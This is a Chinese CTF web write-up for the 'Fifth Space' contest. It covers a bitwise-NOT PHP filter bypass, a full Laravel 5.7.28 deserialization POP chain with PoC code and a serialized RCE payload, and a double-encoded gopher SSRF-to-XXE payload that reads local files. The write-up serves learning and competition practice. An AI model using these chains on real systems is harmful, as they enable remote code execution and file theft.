“第五空間”智慧安全大賽-Web-writeup
hate-php
原始碼:
<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); }
可以看到過濾了一些單個字元和所有的php內建函式
只要繞過正則匹配就好
可以用異或或者取反構造shell,這裡用取反:
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
//echo ~(urldecode("%8D%9A%9E%9B%99%96%93%9A"));
?>
構造一下:
http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))
laravel
確定版本:
在vendor\laravel\framework\src\Illuminate\Foundation\Application.php
32行看到5.7.28版本,這個版本存在反序列化漏洞
然後利用搜索引擎找到了一堆復現
但是一跟進,發現PendingCommand.php
中解構函式刪掉了掉用run()
尋找可用poc鏈
只能另闢蹊徑,找到這篇文章:2018護網杯easy_laravel getshell
繼續嘗試跟進,看能不能利用這個鏈,發現vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
但是解構函式多的是,這個沒了換一個就是了,主要是之前沒法呼叫run()
執行命令,看下這個鏈裡的Generator
類相關的執行命令函式且有沒有被ban:
在vendor/fzaninotto/faker/src/Faker/Generator.php
裡,發現function format($formatter, $arguments = array())
呼叫了call_user_func_array()
,如果它的輸入能被控制,就能執行命令
繼續跟進:
Generator.php原始碼:
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function addProvider($provider)
{
array_unshift($this->providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function parse($string)
{
return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
public function __get($attribute)
{
return $this->format($attribute);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
在277行發現魔術方法__call()
呼叫了format()
我們知道當呼叫一個不存在的方法時會自動呼叫__call()
,並且這裡__call()
呼叫了format()
且引數可控,就可以執行命令了
接下來尋找合適的類完成它的觸發:
在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
中找到合適的解構函式:
原始碼:
<?php
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\Routing\Route;
use Symfony\Component\Routing\RouteCollection;
class ImportConfigurator
{
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
final public function prefix($prefix, bool $trailingSlashOnRoot = true)
{
if (!\is_array($prefix)) {
$this->route->addPrefix($prefix);
if (!$trailingSlashOnRoot) {
$rootPath = (new Route(trim(trim($prefix), '/').'/'))->getPath();
foreach ($this->route->all() as $route) {
if ($route->getPath() === $rootPath) {
$route->setPath(rtrim($rootPath, '/'));
}
}
}
} else {
foreach ($prefix as $locale => $localePrefix) {
$prefix[$locale] = trim(trim($localePrefix), '/');
}
foreach ($this->route->all() as $name => $route) {
if (null === $locale = $route->getDefault('_locale')) {
$this->route->remove($name);
foreach ($prefix as $locale => $localePrefix) {
$localizedRoute = clone $route;
$localizedRoute->setDefault('_locale', $locale);
$localizedRoute->setDefault('_canonical_route', $name);
$localizedRoute->setPath($localePrefix.(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
$this->route->add($name.'.'.$locale, $localizedRoute);
}
} elseif (!isset($prefix[$locale])) {
throw new \InvalidArgumentException(sprintf('Route "%s" with locale "%s" is missing a corresponding prefix in its parent collection.', $name, $locale));
} else {
$route->setPath($prefix[$locale].(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
$this->route->add($name, $route);
}
}
}
return $this;
}
final public function namePrefix(string $namePrefix)
{
$this->route->addNamePrefix($namePrefix);
return $this;
}
}
這裡解構函式呼叫了addCollection
方法
pop鏈構造
我們還知道,當__destruct
銷燬物件的時候會自動呼叫該方法,而呼叫一個不存在的方法時會自動呼叫__call()
,所以現在pop鏈就清楚了,先建立一個Generator
例項,然後將其賦值給ImportConfigurator
的$parent
。當ImportConfigurator
自動銷燬時會呼叫Generator
的addCollection
方法,但是addCollection
方法在Generator
中不存在,所以自動呼叫Generator
中的__call()
方法,而__call()
方法呼叫了format
方法,format
裡面的兩個引數都可控,這樣就可以RCE了。
poc:
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator{
private $parent;
private $route;
public function __construct( $parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("addCollection"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"bash -c 'cat /flag'");
echo(urlencode(serialize($pb)));
}
payload:
O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D
反序列化點直接全域性搜尋unserialize
,發現/index
路由:
GET
傳值引數為p,拿到flag
do you know
這題很讓人無語
index.php:
<?php
highlight_file(__FILE__);
#本題無法訪問外網
#這題真沒有其他檔案,請不要再開目錄掃描器了,有的檔案我都在註釋裡面告訴你們了
#各位大佬...這題都沒有資料庫的存在...麻煩不要用工具掃我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什麼都沒有~');
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 設定超時
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 設定超時
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 設定header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求結果為字串且輸出到螢幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用證書:cert 與 key 分別屬於兩個.pem檔案
$res = curl_exec($ch);
var_dump($res);
讀完原始碼,可以知道前兩個QUERY_STRING
要鍵名不同值相同,然後會獲取最後一個值作為url
,然後使用php的curl模組進行訪問
看到提示xxe.php
先訪問xxe.php,原始碼:
<?php
highlight_file(__FILE__);
#這題和命令執行無關,請勿嘗試
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
}
?>
<style>
div.main{
width:90%;
max-width:50em;
margin:0 auto;
}
textarea{
width:100%;
height:10em;
}
input[type="submit"]{
margin: 1em 0;
}
</style>
<div class="main">
<form action="" method="POST">
<textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
</textarea><br/>
<input style="" type="submit" value="submit"/>
<a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
</form>
<pre>
<?php echo htmlspecialchars($resp);?>
</pre>
</div>
就是一個簡單的無過濾的xxe,需要post傳值,並且只能本地訪問
想到Gopher
協議
Gopher
的構造
由於gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色
基本協議格式:URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流
幾個注意點:
- gopher協議沒有預設埠,所以需要指定web埠
- 回車換行使用%0d%0a
- 如果多個引數,引數之間的&也需要進行URL編碼
- 結尾也得使用%0d%0a作為資料包截止的標誌
實際測試以及閱讀文章中發現gopher存在以下幾點問題
- PHP的curl預設不跟隨302跳轉
- curl7.43gopher協議存在%00截斷的BUG,v7.45以上可用
- file_get_contents()的SSRF,gopher協議不能使用URLencode
- file_get_contents()的SSRF,gopher協議的302跳轉有BUG會導致利用失敗
GET
GET的HTTP包:
GET /get.php?name=leon HTTP/1.1
Host: 127.0.0.1
構造後:
gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A
POST
必須的頭部:
- Host
- Content-Type
- Content-Length
- 需要post的資料
POST的HTTP包:
POST /post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:9
name=leon
構造後:
gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A
然後來看本題:
需要用gopher協議向xxe.php
postxxepayload
測試過程中發現,直接向http://121.36.64.91/?a=leon&b=leon&c=http://127.0.0.1/xxe.php
postpayload
時抓包:
可以發現data
是被urlencode過的,所以gopher構造時,data
也應該是urlencode過的,因為這裡是打ssrf,瀏覽器會解碼一次,curl會再解碼一次,所以需要構造的gopher資料進行二次編碼:
構造的gopher:
POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1
data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E
二次編碼後:(記得換行符替換)
POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
payload:
http://121.36.64.91/?a=leon&b=leon&c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
到這裡根據提示讀main.php和hints.php:
<?php
class A
{
public $object;
public $method;
public $variable;
function __destruct()
{
$o = $this->object;
$m = $this->method;
$v = $this->variable;
$o->$m();
global $$v;
$answer = file_get_contents('flag.php');
ob_end_clean();
}
}
class B
{
function read()
{
ob_start();
global $answer;
echo $answer;
}
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET[''])) {
unserialize($_GET[''])->CaptureTheFlag();
} else {
die('you do not pass the misc');
}
構造好pop鏈會發現ob_start()
開啟了,所以無法輸出
槽點1:$_GET['']
乍一看啥都沒有,直接複製丟進url欄一看,發現是不可見字元%E2%80%AC
,然後hints.php起初不知道是用來幹嘛的,反序列化搞完了發現ob_start()
開啟了無法輸出內容,還以為hints.php是用來提示什麼,後來caoyi小哥哥提示我兩個數md5不同我才發現原來是用來提示
%E2%80%AC
的。。。。???
槽點2:到現在做完了還不知道預期到底是啥,如果預期是利用$poc=$_SERVER['QUERY_STRING'];
的特性,將flag
等被過濾的關鍵詞用url編碼繞過,那麼直接在index.php用file協議就可以讀到flag.php:
http://121.36.64.91/?a=leon&b=leon&leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
那就不需要到xxe.php去用gopher協議打xxe讀flag.php,因為兩個地方都是要url編碼繞過關鍵詞
如果預期是main.php繞過ob_start()進行輸出,那我等一手wp,看完了再來複現